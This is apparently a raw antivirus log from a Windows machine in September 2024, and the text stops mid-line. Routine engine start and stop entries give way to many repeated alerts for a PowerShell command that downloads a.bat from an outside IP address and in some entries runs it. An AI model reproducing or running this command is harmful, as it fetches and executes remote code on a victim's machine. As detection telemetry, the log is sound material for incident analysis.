AR2CFG: 240830 2024-09-02 15:22:59 AR2DEV: Start 1 Driver: 210305 2024-09-02 22:39:27 AVAVER: 21.2.2455 AR2: 240830 defs: 24090200 2024-09-02 22:39:27 ARPOT2: Start 5704 2024-09-02 22:39:27 AR2CFG: 240830 2024-09-02 22:39:27 AR2DEV: Start 1 Driver: 210305 2024-09-02 22:39:59 AR2DEV: Stopped 1 2024-09-02 22:39:59 AVAVER: 21.2.2455 AR2: 240830 defs: 24090204 2024-09-02 22:39:59 ARPOT2: Start 2528 2024-09-02 22:39:59 AR2CFG: 240830 2024-09-02 22:40:00 AR2DEV: Start 1 Driver: 210305 2024-09-02 22:40:00 AR2DEV: Stopped 1 2024-09-02 22:40:00 AVAVER: 21.2.2455 AR2: 240830 defs: 24090204 2024-09-02 22:40:00 ARPOT2: Start 3488 2024-09-02 22:40:00 AR2CFG: 240830 2024-09-02 22:40:00 AR2DEV: Start 1 Driver: 210305 2024-09-03 02:41:24 AR2DEV: Stopped 1 2024-09-03 02:41:24 AVAVER: 21.2.2455 AR2: 240830 defs: 24090208 2024-09-03 02:41:24 ARPOT2: Start 1260 2024-09-03 02:41:24 AR2CFG: 240830 2024-09-03 02:41:24 AR2DEV: Start 1 Driver: 210305 2024-09-03 02:41:25 AR2DEV: Stopped 1 2024-09-03 02:41:25 AVAVER: 21.2.2455 AR2: 240830 defs: 24090208 2024-09-03 02:41:25 ARPOT2: Start 4812 2024-09-03 02:41:25 AR2CFG: 240830 2024-09-03 02:41:25 AR2DEV: Start 1 Driver: 210305 2024-09-03 22:40:29 AVAVER: 21.2.2455 AR2: 240830 defs: 24090208 2024-09-03 22:40:29 ARPOT2: Start 6880 2024-09-03 22:40:29 AR2CFG: 240830 2024-09-03 22:40:29 AR2DEV: Start 1 Driver: 210305 2024-09-04 22:45:42 AVAVER: 21.2.2455 AR2: 240830 defs: 24090208 2024-09-04 22:45:42 ARPOT2: Start 5796 2024-09-04 22:45:42 AR2CFG: 240830 2024-09-04 22:45:42 AR2DEV: Start 1 Driver: 210305 2024-09-04 22:46:35 AR2DEV: Stopped 1 2024-09-04 22:46:35 AVAVER: 21.2.2455 AR2: 240830 defs: 24090306 2024-09-04 22:46:35 ARPOT2: Start 6016 2024-09-04 22:46:35 AR2CFG: 240830 2024-09-04 22:46:35 AR2DEV: Start 1 Driver: 210305 2024-09-04 22:46:36 AR2DEV: Stopped 1 2024-09-04 22:46:36 AVAVER: 21.2.2455 AR2: 240830 defs: 24090306 2024-09-04 22:46:36 ARPOT2: Start 7704 2024-09-04 22:46:36 AR2CFG: 240830 2024-09-04 22:46:36 AR2DEV: Start 1 Driver: 210305 2024-09-05 02:48:23 AR2DEV: Stopped 1 2024-09-05 02:48:23 AVAVER: 21.2.2455 AR2: 240830 defs: 24090408 2024-09-05 02:48:23 ARPOT2: Start 7316 2024-09-05 02:48:24 AR2CFG: 240830 2024-09-05 02:48:24 AR2DEV: Start 1 Driver: 210305 2024-09-05 02:48:24 AR2DEV: Stopped 1 2024-09-05 02:48:24 AVAVER: 21.2.2455 AR2: 240830 defs: 24090408 2024-09-05 02:48:24 ARPOT2: Start 5908 2024-09-05 02:48:24 AR2CFG: 240830 2024-09-05 02:48:24 AR2DEV: Start 1 Driver: 210305 2024-09-05 06:49:27 AR2DEV: Stopped 1 2024-09-05 06:49:27 AVAVER: 21.2.2455 AR2: 240830 defs: 24090410 2024-09-05 06:49:27 ARPOT2: Start 6044 2024-09-05 06:49:27 AR2CFG: 240830 2024-09-05 06:49:27 AR2DEV: Start 1 Driver: 210305 2024-09-05 06:49:27 AR2DEV: Stopped 1 2024-09-05 06:49:27 AVAVER: 21.2.2455 AR2: 240830 defs: 24090410 2024-09-05 06:49:27 ARPOT2: Start 4988 2024-09-05 06:49:27 AR2CFG: 240830 2024-09-05 06:49:27 AR2DEV: Start 1 Driver: 210305 2024-09-05 14:50:46 AR2DEV: Stopped 1 2024-09-05 14:50:46 AVAVER: 21.2.2455 AR2: 240830 defs: 24090500 2024-09-05 14:50:46 ARPOT2: Start 6016 2024-09-05 14:50:46 AR2CFG: 240830 2024-09-05 14:50:46 AR2DEV: Start 1 Driver: 210305 2024-09-05 14:50:46 AR2DEV: Stopped 1 2024-09-05 14:50:46 AVAVER: 21.2.2455 AR2: 240830 defs: 24090500 2024-09-05 14:50:46 ARPOT2: Start 6732 2024-09-05 14:50:46 AR2CFG: 240830 2024-09-05 14:50:46 AR2DEV: Start 1 Driver: 210305 2024-09-05 18:51:46 AR2DEV: Stopped 1 2024-09-05 18:51:46 AVAVER: 21.2.2455 AR2: 240830 defs: 24090502 2024-09-05 18:51:46 ARPOT2: Start 3440 2024-09-05 18:51:46 AR2CFG: 240830 2024-09-05 18:51:46 AR2DEV: Start 1 Driver: 210305 2024-09-05 18:51:46 AR2DEV: Stopped 1 2024-09-05 18:51:46 AVAVER: 21.2.2455 AR2: 240830 defs: 24090502 2024-09-05 18:51:46 ARPOT2: Start 7844 2024-09-05 18:51:46 AR2CFG: 240830 2024-09-05 18:51:46 AR2DEV: Start 1 Driver: 210305 2024-09-05 22:46:44 AVAVER: 21.2.2455 AR2: 240830 defs: 24090502 2024-09-05 22:46:44 ARPOT2: Start 6640 2024-09-05 22:46:44 AR2CFG: 240830 2024-09-05 22:46:45 AR2DEV: Start 1 Driver: 210305 2024-09-06 10:58:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri \"http://193.32.162.34/a.bat\" -OutFile \"a.bat\"; Start-Process \"a.bat\" -Wait" (null) 2024-09-06 22:49:44 AVAVER: 21.2.2455 AR2: 240830 defs: 24090502 2024-09-06 22:49:44 ARPOT2: Start 6444 2024-09-06 22:49:44 AR2CFG: 240830 2024-09-06 22:49:44 AR2DEV: Start 1 Driver: 210305 2024-09-07 12:31:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri \"http://193.32.162.34/a.bat\" -OutFile \"a.bat\"; Start-Process \"a.bat\" -Wait" (null) 2024-09-07 12:33:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri \"http://193.32.162.34/a.bat\" -OutFile \"a.bat\"; Start-Process \"a.bat\" -Wait" (null) 2024-09-07 12:34:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri \"http://193.32.162.34/a.bat\" -OutFile \"a.bat\"; Start-Process \"a.bat\" -Wait" (null) 2024-09-07 12:58:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri \"http://193.32.162.34/a.bat\" -OutFile \"a.bat\"; ./a.bat" (null) 2024-09-07 13:40:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 13:41:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 13:41:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 13:42:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 13:50:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 13:50:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 13:55:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:05:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:05:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:06:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:07:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:09:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:09:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:13:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:15:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:20:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:22:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:24:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:28:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:31:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:38:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 14:59:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:24:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:25:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:42:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:45:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:46:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:46:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:50:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 15:51:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 16:10:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 16:10:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 16:12:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 16:18:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 16:21:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 16:53:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 17:09:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 17:47:17 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 17:59:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 19:01:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 19:24:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 20:00:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 21:38:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 21:52:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 21:52:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:42:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:46:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:46:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:47:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:48:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:51:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:52:52 AVAVER: 21.2.2455 AR2: 240830 defs: 24090502 2024-09-07 22:52:52 ARPOT2: Start 4572 2024-09-07 22:52:52 AR2CFG: 240830 2024-09-07 22:52:52 AR2DEV: Start 1 Driver: 210305 2024-09-07 22:53:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:56:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 22:58:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:01:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:03:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:06:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:08:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:11:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:13:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:16:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:18:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:21:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:23:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:26:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:28:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:31:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:33:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:36:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:38:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:41:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:43:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:46:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:48:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:51:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:53:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:56:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-07 23:58:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:01:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:03:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:06:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:08:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:11:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:13:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:16:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:18:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:21:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:23:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:26:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:28:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:31:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:33:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:36:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:38:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:41:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:43:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:46:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:48:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:51:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:53:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:56:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 00:58:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://193.32.162.34/a.bat' -OutFile 'a.bat'" (null) 2024-09-08 01:01:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 